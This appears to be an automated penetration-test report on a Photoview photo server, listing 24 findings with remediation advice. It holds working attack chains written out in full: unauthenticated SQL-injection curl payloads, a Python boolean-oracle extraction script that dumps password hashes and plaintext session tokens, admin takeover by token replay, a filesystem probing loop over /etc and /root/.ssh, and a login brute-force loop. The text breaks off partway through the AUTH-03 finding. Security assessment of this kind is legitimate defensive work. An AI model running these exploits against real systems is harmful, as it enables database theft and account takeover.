



SHANNON
AI Pentester by Keygraph

Security Assessment Report

Target <http://host.docker.internal:4800>

Tester Shannon

Date 2026-08-28

Classification **CONFIDENTIAL**

This document contains sensitive security findings. Handle in accordance with your organization's data classification policy.

Contents

Executive Summary	4
Scope	4
Successfully Exploited Vulnerabilities by Type	4
Injection	4
Authentication	4
Authorization	5
Miscellaneous	5
Summary	6
Critical Findings	6
Findings Overview	7
Injection Exploitation Evidence (2 findings)	9
INJ-01: SQL Injection — {album_id} Path Segment in GET /api/download/album/{album_id}/ {media_purpose}	9
INJ-02: Missing Path Confinement on the userAddRootPath rootPath Argument	11
Authentication Exploitation Evidence (9 findings)	14
AUTH-01: No Server-Side Session Invalidation on SPA /logout and the updateUser Password Change ...	14
AUTH-02: No Rate Limiting, Lockout or Failed-Login Monitoring on the authorizeUser Login Mutation .	16
AUTH-03: Session Token Returned in the authorizeUser Response Body and Written to a JavaScript- Readable Cookie Without HttpOnly or Secure	17
AUTH-04: Share-Link Expiry Not Enforced in the shareToken Query or the Token-Authenticated Media Routes	19
AUTH-05: Unauthenticated, Unthrottled Password Oracle on the shareTokenValidatePassword Query . .	21
AUTH-06: No Origin Validation on the WebSocket Upgrade at /api/graphql (CheckOrigin Fails Open) . .	23
AUTH-07: Session Fixation — Login Does Not Clear or Path-Pin the auth-token Cookie	25
AUTH-08: Username Enumeration via bcrypt Timing Side Channel on the authorizeUser Mutation	27
AUTH-09: No Password Policy on the createUser, updateUser and initialSetupWizard Mutations	29
Authorization Exploitation Evidence (7 findings)	31
AUTHZ-01: shareAlbum Ownership Check Ignores the albumId Argument	31
AUTHZ-02: Album.shares and Media.shares Resolvers Apply No Owner Scoping or Authentication	33
AUTHZ-03: getUserToken Evaluates the Token Owner's Admin Flag Instead of the Caller's in protectShareToken and deleteShareToken	35
AUTHZ-04: favoriteMedia Accepts Any mediaId Without an Ownership Predicate	37
AUTHZ-05: Media and Album Child Resolvers (Media.album, Album.media, Album.subAlbums, Media.exif, Media.downloads) Perform No Ownership or Token-Scope Check	39
AUTHZ-06: notification Subscription Broadcasts Every Tenant's Scanner Events to All Subscribers	41
AUTHZ-07: ShareToken.owner Field Returns the Sharer's Username and Admin Flag to Anonymous Callers	43
Miscellaneous Exploitation Evidence (6 findings)	44
MISC-01: WebSocket Transport at /api/graphql Never Re-Validates the Session Captured at Upgrade Time	44
MISC-02: Blocking Broadcast Under the Global notificationLock — Non-Draining notification Subscriber Freezes the Scanner Instance-Wide	46
MISC-03: Unauthenticated Nil-Pointer Panic on GET /api/photo/<unknown> and GET /api/video/ <unknown>	48
MISC-04: Raw os.Stat Error Returned by the SPA Catch-All Handler Discloses Absolute Server Paths . . .	50

MISC-05: Unchecked *shareToken.MediaID Dereference in the media() Resolver for Album-Scoped Share Tokens 51

MISC-06: Unguarded *credentials.Password Dereference in the shareToken() Resolver When the Password Field Is Omitted 53

Executive Summary

Target	http://host.docker.internal:4800
Date	2026-08-28
Tester	Shannon
Assessment Status	Complete

The 2026-08-28 assessment of the Photoview deployment at http://host.docker.internal:4800 confirmed 24 exploited vulnerabilities across injection, authentication, and authorization, including one critical unauthenticated SQL injection in the album download route that yielded the entire database — bcrypt password hashes and plaintext session tokens — and full takeover of the administrator account. Five further high-severity defects allow cross-tenant compromise: any authenticated user can mint or hijack share links for other tenants' albums, anonymous visitors can harvest every share token on an album, sessions are never revocable server-side, and WebSocket connections retain admin authority after demotion or account deletion. Ten medium and eight low findings cover missing rate limiting and logout, ignored share-link expiry, username enumeration by timing, session fixation, a scanner denial-of-service, and unauthenticated panics; no XSS or SSRF was confirmed in the tested surface.

Scope

Injection, Cross-Site Scripting (XSS), Authentication, Authorization, Server-Side Request Forgery (SSRF)

Successfully Exploited Vulnerabilities by Type

Injection

- INJ-01 — SQL Injection — {album_id} Path Segment in GET /api/download/album/{album_id}/{media_purpose}
- INJ-02 — Missing Path Confinement on the userAddRootPath rootPath Argument

Authentication

- AUTH-01 — No Server-Side Session Invalidation on SPA /logout and the updateUser Password Change
- AUTH-02 — No Rate Limiting, Lockout or Failed-Login Monitoring on the authorizeUser Login Mutation
- AUTH-03 — Session Token Returned in the authorizeUser Response Body and Written to a JavaScript-Readable Cookie Without HttpOnly or Secure
- AUTH-04 — Share-Link Expiry Not Enforced in the shareToken Query or the Token-Authenticated Media Routes
- AUTH-05 — Unauthenticated, Unthrottled Password Oracle on the shareTokenValidatePassword Query
- AUTH-06 — No Origin Validation on the WebSocket Upgrade at /api/graphql (CheckOrigin Fails Open)
- AUTH-07 — Session Fixation — Login Does Not Clear or Path-Pin the auth-token Cookie
- AUTH-08 — Username Enumeration via bcrypt Timing Side Channel on the authorizeUser Mutation

- **AUTH-09** — No Password Policy on the createUser, updateUser and initialSetupWizard Mutations

Authorization

- **AUTHZ-01** — shareAlbum Ownership Check Ignores the albumId Argument
- **AUTHZ-02** — Album.shares and Media.shares Resolvers Apply No Owner Scoping or Authentication
- **AUTHZ-03** — getUserToken Evaluates the Token Owner's Admin Flag Instead of the Caller's in protectShareToken and deleteShareToken
- **AUTHZ-04** — favoriteMedia Accepts Any mediaId Without an Ownership Predicate
- **AUTHZ-05** — Media and Album Child Resolvers (Media.album, Album.media, Album.subAlbums, Media.exif, Media.downloads) Perform No Ownership or Token-Scope Check
- **AUTHZ-06** — notification Subscription Broadcasts Every Tenant's Scanner Events to All Subscribers
- **AUTHZ-07** — ShareToken.owner Field Returns the Sharer's Username and Admin Flag to Anonymous Callers

Miscellaneous

- **MISC-01** — WebSocket Transport at /api/graphql Never Re-Validates the Session Captured at Upgrade Time
- **MISC-02** — Blocking Broadcast Under the Global notificationLock — Non-Draining notification Subscriber Freezes the Scanner Instance-Wide
- **MISC-03** — Unauthenticated Nil-Pointer Panic on GET /api/photo/<unknown> and GET /api/video/<unknown>
- **MISC-04** — Raw os.Stat Error Returned by the SPA Catch-All Handler Discloses Absolute Server Paths
- **MISC-05** — Unchecked *shareToken.MediaID Dereference in the media() Resolver for Album-Scoped Share Tokens
- **MISC-06** — Unguarded *credentials.Password Dereference in the shareToken() Resolver When the Password Field Is Omitted

Summary



Total identified 24
Successfully exploited 24

- 2 Injection
- 9 Authentication
- 7 Authorization
- 6 Miscellaneous

Critical Findings

1. INJ-01: SQL Injection – {album_id} Path Segment in GET /api/download/album/{album_id}/{media_purpose}

Findings Overview

ID	Title	Category	Severity
INJ-01	SQL Injection — {album_id} Path Segment in GET /api/download/album/{album_id}/{media_purpose}	Injection	CRITICAL
INJ-02	Missing Path Confinement on the userAddRootPath rootPath Argument	Injection	LOW
AUTH-01	No Server-Side Session Invalidation on SPA /logout and the updateUser Password Change	Authentication	HIGH
AUTH-02	No Rate Limiting, Lockout or Failed-Login Monitoring on the authorizeUser Login Mutation	Authentication	MEDIUM
AUTH-03	Session Token Returned in the authorizeUser Response Body and Written to a JavaScript-Readable Cookie Without HttpOnly or Secure	Authentication	MEDIUM
AUTH-04	Share-Link Expiry Not Enforced in the shareToken Query or the Token-Authenticated Media Routes	Authentication	MEDIUM
AUTH-05	Unauthenticated, Unthrottled Password Oracle on the shareTokenValidatePassword Query	Authentication	MEDIUM
AUTH-06	No Origin Validation on the WebSocket Upgrade at /api/graphql (CheckOrigin Fails Open)	Authentication	MEDIUM
AUTH-07	Session Fixation — Login Does Not Clear or Path-Pin the auth-token Cookie	Authentication	MEDIUM
AUTH-08	Username Enumeration via bcrypt Timing Side Channel on the authorizeUser Mutation	Authentication	LOW
AUTH-09	No Password Policy on the createUser, updateUser and initialSetupWizard Mutations	Authentication	LOW
AUTHZ-01	shareAlbum Ownership Check Ignores the albumId Argument	Authorization	HIGH
AUTHZ-02	Album.shares and Media.shares Resolvers Apply No Owner Scoping or Authentication	Authorization	HIGH
AUTHZ-03	getUserToken Evaluates the Token Owner's Admin Flag Instead of the Caller's in protectShareToken and deleteShareToken	Authorization	HIGH
AUTHZ-04	favoriteMedia Accepts Any mediaId Without an Ownership Predicate	Authorization	MEDIUM
AUTHZ-05	Media and Album Child Resolvers (Media.album, Album.media, Album.subAlbums, Media.exif, Media.downloads) Perform No Ownership or Token-Scope Check	Authorization	MEDIUM

ID	Title	Category	Severity
AUTHZ-06	notification Subscription Broadcasts Every Tenant's Scanner Events to All Subscribers	Authorization	MEDIUM
AUTHZ-07	ShareToken.owner Field Returns the Sharer's Username and Admin Flag to Anonymous Callers	Authorization	LOW
MISC-01	WebSocket Transport at /api/graphql Never Re-Validates the Session Captured at Upgrade Time	Miscellaneous	HIGH
MISC-02	Blocking Broadcast Under the Global notificationLock — Non-Draining notification Subscriber Freezes the Scanner Instance-Wide	Miscellaneous	MEDIUM
MISC-03	Unauthenticated Nil-Pointer Panic on GET /api/photo/<unknown> and GET /api/video/<unknown>;	Miscellaneous	LOW
MISC-04	Raw os.Stat Error Returned by the SPA Catch-All Handler Discloses Absolute Server Paths	Miscellaneous	LOW
MISC-05	Unchecked *shareToken.MediaID Dereference in the media() Resolver for Album-Scoped Share Tokens	Miscellaneous	LOW
MISC-06	Unguarded *credentials.Password Dereference in the shareToken() Resolver When the Password Field Is Omitted	Miscellaneous	LOW

Injection Exploitation Evidence (2 findings)

INJ-01: SQL Injection — {album_id} Path Segment in GET /api/download/album/{album_id}/{media_purpose}

CRITICAL

OWASP A05:2025 — Injection

Location	GET <code>http://host.docker.internal:4800/api/download/album/{album_id}/{media_purpose}</code> — handler passes the raw path segment to <code>db.Find(&album, albumID)</code>
Auth state	Unauthenticated
Prerequisites	None. Network access to <code>http://host.docker.internal:4800</code> only — no credentials, cookie, or album share token.
Overview	The album ZIP-download handler splices the raw <code>{album_id}</code> URL path segment into a GORM inline condition. GORM only binds the value as a primary key when it parses as an integer, so any non-numeric string is concatenated verbatim into <code>SELECT * FROM albums WHERE <attacker SQL></code>. The query executes before <code>authenticateAlbum</code>, making the injection reachable with no session and no share token, and the handler's 404-vs-403 status split provides a fast boolean oracle.
Impact	Unauthenticated read of the entire <code>photoview</code> MariaDB database and full takeover of the <code>admin</code> account. Demonstrated: DB fingerprint (MariaDB 12.3.3, database <code>photoview</code> , user <code>photoview@10.89.5.3</code>), all 14 table names, the <code>users</code> and <code>access_tokens</code> column lists, five user rows with bcrypt password hashes and admin flags, and five plaintext session tokens — one of which was replayed against <code>/api/graphql</code> to authenticate as <code>admin</code> (id 1, admin: true).

Exploitation Steps

Step 1 — Confirm the injection with a time delay

The `{album_id}` segment must be non-numeric — a leading integer makes GORM's `strconv.Atoi` succeed and take the safe primary-key branch.

```
curl -s -o /dev/null -w '%{http_code} %{time_total}\n' \
'http://host.docker.internal:4800/api/download/album/id=1%20AND%20SLEEP(3)/thumbnail'
# 403 3.016899
curl -s -o /dev/null -w '%{http_code} %{time_total}\n' \
'http://host.docker.internal:4800/api/download/album/id=1%20AND%20SLEEP(0)/thumbnail'
# 403 0.010385
```

The 3-second delay proves attacker SQL is executed; no authentication header was sent.

Step 2 — Build a boolean oracle

The handler returns HTTP 404 when the query errors and 403 when it succeeds, so a MySQL error 1242 is forced on the TRUE branch. The gorilla/mux pattern matches `[^/]+`, so the payload may not contain `'`; spaces are encoded as `%20`.

```
# TRUE -> 404
curl -s -o /dev/null -w '%{http_code}\n' \
'http://host.docker.internal:4800/api/download/album/id=1%20AND%20IF(1=1,(SELECT%20
1%20UNION%20SELECT%202),1)/thumbnail'

# FALSE -> 403
curl -s -o /dev/null -w '%{http_code}\n' \
'http://host.docker.internal:4800/api/download/album/id=1%20AND%20IF(1=2,(SELECT%20
1%20UNION%20SELECT%202),1)/thumbnail'
```

Step 3 — Extract data by binary-searching each byte

```
import urllib.request, urllib.parse
BASE = 'http://host.docker.internal:4800/api/download/album/%s/thumbnail'
def oracle(cond):
    p = "id=1 AND IF(%s,(SELECT 1 UNION SELECT 2),1)" % cond
    url = BASE % urllib.parse.quote(p, safe='')
    try:
        urllib.request.urlopen(url)
    except urllib.error.HTTPError as e:
        return e.code == 404      # 404 == TRUE, 403 == FALSE
    return False

def extract(expr, n):
    out = ''
    for i in range(1, n + 1):
        lo, hi = 0, 127
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle("ASCII(SUBSTRING(%s,%d,1))>%d" % (expr, i, mid)):
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
    return out
```

Step 4 — Fingerprint the database and dump the credential tables

```
extract("SELECT @@version", 22) # 12.3.3-MariaDB-ubu2404
extract("SELECT database()", 9) # photoview
extract("SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_
schema=database()", 161)
extract("SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,username,password,admin) SEPARATOR 0x
7c) FROM (SELECT * FROM users ORDER BY id LIMIT 5) t", 357)
extract("SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,user_id,value) SEPARATOR 0x7c) FROM (
SELECT * FROM access_tokens ORDER BY id LIMIT 5) t", 144)
```

Step 5 — Replay an extracted plaintext session token as admin

```
curl -s -X POST http://host.docker.internal:4800/api/graphql \
-H 'Content-Type: application/json' \
-b 'auth-token=FJYNk39n4vrLGiVC7LCDxZzn' \
-d '{"query":"{myUser{id username admin}}"}'
# {"data":{"myUser":{"id":"1","username":"admin","admin":true}}}
```

Proof of Impact

1. Injection confirmed unauthenticated (no cookie or token sent), and a working boolean oracle:

```
id=1 AND SLEEP(3) -> HTTP 403 in 3.016899 s
id=1 AND SLEEP(0) -> HTTP 403 in 0.010385 s

id=1 AND IF(1=1,(SELECT 1 UNION SELECT 2),1) -> 404 (TRUE)
id=1 AND IF(1=2,(SELECT 1 UNION SELECT 2),1) -> 403 (FALSE)
```

2. Data extracted through the oracle:

```
[@@version]      12.3.3-MariaDB-ubu2404
[database()]     photoview
[user()]         photoview@10.89.5.3

[tables]         media,albums,share_tokens,user_preferences,access_tokens,
                  image_faces,users,user_albums,media_exif,site_info,media_urls,
                  video_metadata,face_groups,user_media_data

[users, first 5 rows id:username:password:admin]
1:admin:$2a$12$TPvw7pYPCH/tD4R8bNoE.0UskiP0N4KggFywk.e9kr7ihaHx48DNK:1
2:alice:$2a$12$J6U6cDLmqRMPfTphegAh9.hQUEpc5C8WzCzkPxexrBuV6ydIirncy:0
3:bob:$2a$12$Dk1/RyIac93WZSzbmRbx0AGd59YZs8Ejn2v4KHFSAFi0/Mv1C/9.:0

[access_tokens, first 5 rows id:user_id:value] (values stored in PLAINTEXT)
1:1:FJYNk39n4vrLGiVC7LCDxZzn
2:1:i2TAqvA3YZ7Q3n4E74gU0n2v
3:2:y0v6YLZS9PHY4A0154b04DTm
```

3. Admin takeover using an extracted token:

```
{ "data": { "myUser": { "id": "1", "username": "admin", "admin": true } } }
```

Remediation

Bind the path segment as a typed parameter rather than passing it to GORM as an inline condition: parse `{album_id}` with `strconv.Atoi` and reject non-integer values with HTTP 400 before any query, and use `db.Where("id = ?", id).First(&album)` instead of `db.Find(&album, albumID)`. Move the `authenticateAlbum` check ahead of the database lookup, remove `MultiStatements = true` from the MySQL DSN in `api/database/database.go:33`, and store access tokens as hashes rather than plaintext so a database read cannot be replayed as a session.

Notes

- GORM's `strconv.Atoi` inside `Statement.BuildCondition` is a dispatch branch, not a sanitizer — a payload starting with a parseable integer (`1 OR 1=1`) takes the safe primary-key path and reads as 'not vulnerable'. Every working payload here starts with the non-numeric `id=`. Because `db.Find` returns no error for zero rows, the oracle is built on a deliberately induced SQL error rather than row existence. Stacked statements were available (`MultiStatements = true`) but were not needed and were not exercised.

INJ-02: Missing Path Confinement on the `userAddRootPath` `rootPath` Argument

LOW

OWASP A01:2025 — Broken Access Control

Location POST `/api/graphql` — mutation `userAddRootPath(id, rootPath) (@isAdmin); ValidRootPath` at `api/scanner/scanner_album.go:78-86`; media served back via GET `/api/photo/{name}`

Auth state	Authenticated administrator (admin flag set)
Prerequisites	An administrator GraphQL session (admin flag set) — login as the engagement admin account or an auth-token cookie belonging to an admin. The proof creates state (root albums and a scan) that was removed afterwards with <code>userRemoveRootAlbum</code> .
Overview	<code>userAddRootPath</code> passes the client-supplied <code>rootPath</code> through <code>path.Clean</code> and then only <code>os.Stat</code> in <code>ValidRootPath</code> — there is no allow-list, chroot, or prefix confinement. Any directory on the server can therefore be registered as a media root; the scanner walks it and <code>MediaURL.CachedPath()</code> returns the raw on-disk path, which <code>http.ServeFile</code> streams. The same mutation also acts as an arbitrary-path existence oracle for the whole server filesystem.
Impact	An application administrator can step outside the configured media roots: any directory on the server can be registered as an album, and every file in it that the scanner classifies as media is streamed byte-for-byte through <code>/api/photo/...</code> Demonstrated by mounting <code>/app/ui</code> (the app install directory, not the configured <code>/photos</code> root) and retrieving <code>/app/ui/logo512.png</code> with a matching SHA-256. The mutation additionally leaks whether any absolute path exists on the server.

Exploitation Steps

Step 1 — Authenticate as an administrator

```
curl -s -c cookies.txt -X POST http://host.docker.internal:4800/api/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation{authorizeUser(username:\"$username\",password:\"$password\"){success token}}}"'
```

The returned token is used as `Cookie: auth-token=[ADMIN_TOKEN]` in every request below.

Step 2 — Use the mutation as a filesystem existence oracle

```
for P in /etc /root /var/log /srv /tmp /root/.ssh /data /home/alice; do
  echo -n "$P -> "
  curl -s -X POST http://host.docker.internal:4800/api/graphql \
    -H 'Content-Type: application/json' -b 'auth-token=[ADMIN_TOKEN]' \
    -d '{"query":"mutation{userAddRootPath(id:1,rootPath:\"$P\"){id title filePath}}}"'
  echo
done
```

Existing paths return album objects; missing paths return `{"errors":[{"message":"invalid root path"}]}`.

Step 3 — Mount a directory outside the configured media root and scan it

```
curl -s -X POST http://host.docker.internal:4800/api/graphql \
  -H 'Content-Type: application/json' -b 'auth-token=[ADMIN_TOKEN]' \
  -d '{"query":"mutation{userAddRootPath(id:1,rootPath:\"/app/ui\"){id title filePath}}}"'
# {"data":{"userAddRootPath":{"id":"181","title":"ui","filePath":"/app/ui"}}}

curl -s -X POST http://host.docker.internal:4800/api/graphql \
  -H 'Content-Type: application/json' -b 'auth-token=[ADMIN_TOKEN]' \
  -d '{"query":"mutation{scanUser(userId:1){success message}}}"'
# {"data":{"scanUser":{"success":true,"message":"Scanner started"}}}
```

Step 4 — List and download the indexed file

```
curl -s -X POST http://host.docker.internal:4800/api/graphql \
  -H 'Content-Type: application/json' -b 'auth-token=[ADMIN_TOKEN]' \
  -d '{"query":"{album(id:[ALBUM_ID]){media{id title highRes{url}}}}}"'
# logo512.png -> /api/photo/logo512_3P1aSxF4.png
```

```
curl -s -b 'auth-token=[ADMIN_TOKEN]' -o hr.png \
http://host.docker.internal:4800/api/photo/logo512_3P1aSxF4.png
sha256sum hr.png
# 87425e31409770477978d2fed966c43296254d9b46a36f3ebc94ba22267f10ee
```

Step 5 — Restore the original state

```
curl -s -X POST http://host.docker.internal:4800/api/graphql \
-H 'Content-Type: application/json' -b 'auth-token=[ADMIN_TOKEN]' \
-d '{"query": "mutation{userRemoveRootAlbum(userId:1,albumId:[ALBUM_ID]){id title}}"}'
```

Proof of Impact

1. Arbitrary directories accepted — the only gate is os.Stat:

```
/etc      -> {"data":{"userAddRootPath":{"id":"63","title":"etc","filePath":"/etc"}}}
/root     -> {"data":{"userAddRootPath":{"id":"65","title":"root","filePath":"/root"}}}
/usr/share -> {"data":{"userAddRootPath":{"id":"67","title":"share","filePath":"/usr/share"}}}
/etc/passwd -> {"data":{"userAddRootPath":{"id":"68","title":"passwd","filePath":"/etc/passwd"}}}
/proc/self -> {"data":{"userAddRootPath":{"id":"69","title":"self","filePath":"/proc/self"}}}
/var/www  -> {"errors":[{"message":"invalid root path"}]}
/root/.ssh -> {"errors":[{"message":"invalid root path"}]}
```

2. Directory outside the media root indexed and served, byte-for-byte:

```
$ curl -s -b 'auth-token=[ADMIN_TOKEN]' -o hr.png \
http://host.docker.internal:4800/api/photo/logo512_3P1aSxF4.png
200 105621
$ sha256sum hr.png
87425e31409770477978d2fed966c43296254d9b46a36f3ebc94ba22267f10ee
$ sha256sum ui/public/logo512.png # same file in the source tree
87425e31409770477978d2fed966c43296254d9b46a36f3ebc94ba22267f10ee
```

3. The configured media root on this instance is /photos; /app/ui is outside it.

Remediation

Confine root paths to an operator-configured allow-list: extend `ValidRootPath` (`api/scanner/scanner_album.go:78-86`) to resolve the cleaned path with `filepath.EvalSymlinks` and require it to be a directory (`IsDir()`) whose absolute form is a prefix-match under one of the permitted media base directories supplied by configuration/environment. Reject anything else, and return a single generic error for both 'not permitted' and 'does not exist' so the mutation stops functioning as a filesystem existence oracle. Do not follow symlinks out of the mounted tree (`api/utls/utls.go:68-93`).

Notes

- Scope limits observed: only files classified as media are exposed (`GetMediaType` matches a known media extension or sniffs image magic bytes), so `/etc/passwd` mounted fine but produced no readable media — this is not universal arbitrary-file read. `ValidRootPath` performs `os.Stat` with no `IsDir()` check, which is why a plain file is accepted as a root path. The `initialSetupWizard` variant of this sink is unauthenticated but gated by `site_info.initial_setup`, already false on this target. State created during testing (root albums 63-69, 181-185) was removed with `userRemoveRootAlbum`.

Authentication Exploitation Evidence (9 findings)

AUTH-01: No Server-Side Session Invalidation on SPA /logout and the updateUser Password Change

HIGH

OWASP A07:2025 — Authentication Failures

Location	SPA /logout (ui/src/components/routes/Routes.tsx:151-155, client-only) and POST /api/graphql mutation updateUser (api/graphql/resolvers/user.go:220-238) — no revocation anywhere in api/
Auth state	Holder of a valid session token for the target account
Prerequisites	A valid session token for the target account. The password-reset arm used an administrator session to create a disposable test user (victim1) and reset its password — that is the defender action under test, not attacker capability.
Overview	The backend contains no logout mutation, no revocation endpoint and no DELETE against <code>access_tokens</code> . Logging out only erases the client-side cookie, and changing an account's password does not touch its issued tokens, which carry a fixed 14-day TTL. A captured token was replayed successfully after both a full UI logout and an administrator password reset.
Impact	Both recovery actions available to a defender after a session compromise fail. An administrator token still returned <code>{"myUser":{"id":1,"username":"admin","admin":true}}</code> after the browser logged out and cleared the cookie, and a user token still authenticated after the administrator changed that user's password to a strong new value (the old password was correctly rejected at the same moment). A stolen token stays live for its full 14-day lifetime with no operator lever short of deleting the account.

Exploitation Steps

Step 1 — Capture a token and confirm it authenticates

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"victim1\",password:\"1\"){token}}}'
# {"data":{"authorizeUser":{"token":"lzZPl0k3zgM5Wj09HhdMbhG6"}}}

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=lzZPl0k3zgM5Wj09HhdMbhG6' --data '{"query\":\"{myUser{id username admin}}}'
# {"data":{"myUser":{"id\":\"6\",\"username\":\"victim1\",\"admin\":false}}}
```

Step 2 — Simulate the defender response: administrator resets the password

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=[ADMIN_TOKEN]' \
  --data '{"query\":\"mutation{updateUser(id:6,password:\"Str0ngNewP@ss!2026\"){id use
```

```

rname}}"}'

# old password now fails, proving the reset took effect
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"victim1\",password:\"1\"){success status}}}'
# {"data":{"authorizeUser":{"success":false,"status":"invalid credentials"}}}

```

Step 3 — Replay the pre-reset token

```

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=lzZPlOk3zgM5Wj09HhdMbhG6' \
  --data '{"query":"{myUser{id username admin} myAlbums{id title}}}'
# {"data":{"myUser":{"id":"6","username":"victim1","admin":false},"myAlbums":[]}}

```

Step 4 — Repeat for the logout arm with an administrator session

```

playwright-cli -s=agent3 goto http://host.docker.internal:4800/logout
playwright-cli -s=agent3 eval "() => document.cookie" # "" <- cookie cleared, UI back at /login

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=d8o1m6G5HtdUZgdir1iS7zek' --data '{"query":"{myUser{id username admin}}}'
# {"data":{"myUser":{"id":"1","username":"admin","admin":true}}}

```

Proof of Impact

1. Password reset does not revoke sessions — the old password is rejected at the very moment the old token still works:

```

--- admin resets victim1's password ---
{"data":{"updateUser":{"id":"6","username":"victim1"}}}

--- old password now fails (reset confirmed effective) ---
{"data":{"authorizeUser":{"success":false,"status":"invalid credentials"}}}

--- OLD TOKEN, replayed after the reset ---
{"data":{"myUser":{"id":"6","username":"victim1","admin":false},"myAlbums":[]}}

```

2. Logout does not revoke sessions. After a full UI logout of the administrator:

```

=== browser logout ===
Page URL: http://host.docker.internal:4800/login
document.cookie -> ""

=== same token, replayed server-side after logout ===
{"data":{"myUser":{"id":"1","username":"admin","admin":true}}}

```

Remediation

Add a server-side `logout` mutation that deletes the presented token's `access_tokens` row, and make `UpdateUser` (`api/graphql/resolvers/user.go:220-238`) delete all `access_tokens` rows for the user whenever the password column changes. Store token values hashed, and provide an admin-facing 'revoke all sessions' mutation. Have the SPA `/logout` route call the server mutation before `clearTokenCookie()`, and clear any `share-token-pw-*` cookies at the same time.

Notes

- clearTokenCookie also leaves share-token-pw-* cookies in place, so cleartext share passwords survive logout. Tokens carry a fixed 14-day TTL and each login mints an additional row without retiring the previous ones. Disposable accounts victim1 (id 6) and victim2 (id 7) were created during testing and should be removed.

AUTH-02: No Rate Limiting, Lockout or Failed-Login Monitoring on the authorizeUser Login Mutation

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	POST /api/graphql — mutation authorizeUser(username, password); middleware chain at api/server.go:67-72 contains no limiter
Auth state	Unauthenticated
Prerequisites	None. Anonymous network access to http://host.docker.internal:4800.
Overview	The only login endpoint applies no per-IP or per-account rate limit, no lockout, no backoff and no CAPTCHA, and the server keeps no failed-attempt state at all (models.User has no failed_attempts/locked_until column). 120 consecutive failed logins against admin all returned HTTP 200 with flat latency, and the correct password worked immediately afterwards.
Impact	An unbounded, unmonitored online password-guessing channel against every account on the instance, including the administrator: 120 consecutive failures produced no lockout, no throttling and no distinguishable response, and a valid 14-day session token was minted immediately afterwards. Concurrency raised the rate to ~16 req/s with no penalty. No credential was recovered during this run.

Exploitation Steps

Step 1 — Confirm anonymous attempts return a uniform failure

```
curl -s -X POST http://host.docker.internal:4800/api/graphql \
-H 'Content-Type: application/json' \
--data '{"query":"mutation{authorizeUser(username:\"admin\",password:\"wrong\"){success status token}}}"'
# {"data":{"authorizeUser":{"success":false,"status":"invalid credentials","token":null}}}
```

Step 2 — Run 120 consecutive failed logins against the administrator

```
for i in $(seq 1 120); do
  curl -s -o /dev/null -w '%{http_code} ' -X POST http://host.docker.internal:4800/api/graphql \
  -H 'Content-Type: application/json' \
  --data '{"query\":\"mutation{authorizeUser(username:\\\"admin\\\",password:\\\"password$i\\\"){success status}}}\"'
done
# 120 x '200' — no 429, no lockout, no CAPTCHA, no delay escalation
```

Step 3 — Prove the account was never locked

```
curl -s -X POST http://host.docker.internal:4800/api/graphql \
  -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"$username\",password:\"$password\"){success status token}}"}'
# {"data":{"authorizeUser":{"success":true,"status":"ok","token":"MppuTV4zwf4S5CyaxliTgvFi"}}}
```

Step 4 — Measure the achievable rate with concurrency

```
seq 1 20 | xargs -P20 -I{} curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  --data '{"query":"mutation{authorizeUser(username:\"admin\",password:\"x{}\"){success}}"}'
# 20/20 HTTP 200 in 1.28 s = 15.7 req/s
```

Proof of Impact

```
HTTP status counts : {200: 120}
status field counts: {"invalid credentials": 120}
429 / lockout / CAPTCHA / backoff observed: 0
elapsed: 39.60 s (3.03 req/s sequential), latency min/avg/max 318/330/497 ms

--- immediately after 120 failures ---
admin / $password -> success=True status='ok'
token = MppuTV4zwf4S5CyaxliTgvFi
```

1. Parallel burst: 20 threads → 20/20 HTTP 200 in 1.28 s = 15.7 req/s, zero throttled. Latency was flat from attempt 1 to attempt 120, so there is no adaptive delay either. Each valid-user attempt costs the server a cost-12 bcrypt (~330 ms), so the endpoint doubles as an unauthenticated CPU-exhaustion primitive.

Remediation

Add rate-limiting middleware to the GraphQL endpoint registration in `api/server.go`: track failed attempts per source IP and per username in a shared store, apply exponential backoff after ~5 failures and return HTTP 429, and add a temporary account lockout (e.g. `locked_until` column on `models.User`) with an alert to the site log. Cap GraphQL query complexity/aliases so a single request cannot invoke `authorizeUser` many times, and emit a security log event for each failed login.

AUTH-03: Session Token Returned in the `authorizeUser` Response Body and Written to a JavaScript-Readable Cookie Without `HttpOnly` or `Secure`

MEDIUM

OWASP A04:2025 — Cryptographic Failures

Location	POST /api/graphql [mutation authorizeUser] → cookie write in <code>ui/src/helpers/authentication.ts:4</code>
Auth state	Unauthenticated for replay; script execution in the origin's context for the read
Prerequisites	Ability to run script in the origin's context or otherwise observe the login response/cookie (XSS, a malicious browser extension, or passive capture on the plaintext HTTP channel). The replay half needs nothing but the token value.
Overview	The Go backend never issues <code>Set-Cookie</code> ; the session token is returned in the login response body and written to <code>document.cookie</code> by the SPA, so <code>HttpOnly</code> is structurally impossible and <code>Secure</code> is

absent. The token is a plain bearer credential with a 14-day lifetime and no binding to IP, User-Agent or origin, and the token-bearing response carries no Cache-Control.

Impact The administrator's session token was read from document.cookie in a logged-in browser and replayed from an unrelated command-line client, which was recognised as admin with admin:true and could enumerate every account on the instance via the admin-gated user query.

Exploitation Steps

Step 1 — Show the server never sets the cookie itself

```
curl -s -D- -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
--data '{"query":"mutation{authorizeUser(username:\"$username\",password:\"$password\"){success status token}}"}'
```

```
HTTP/1.1 200 OK
Content-Type: application/json
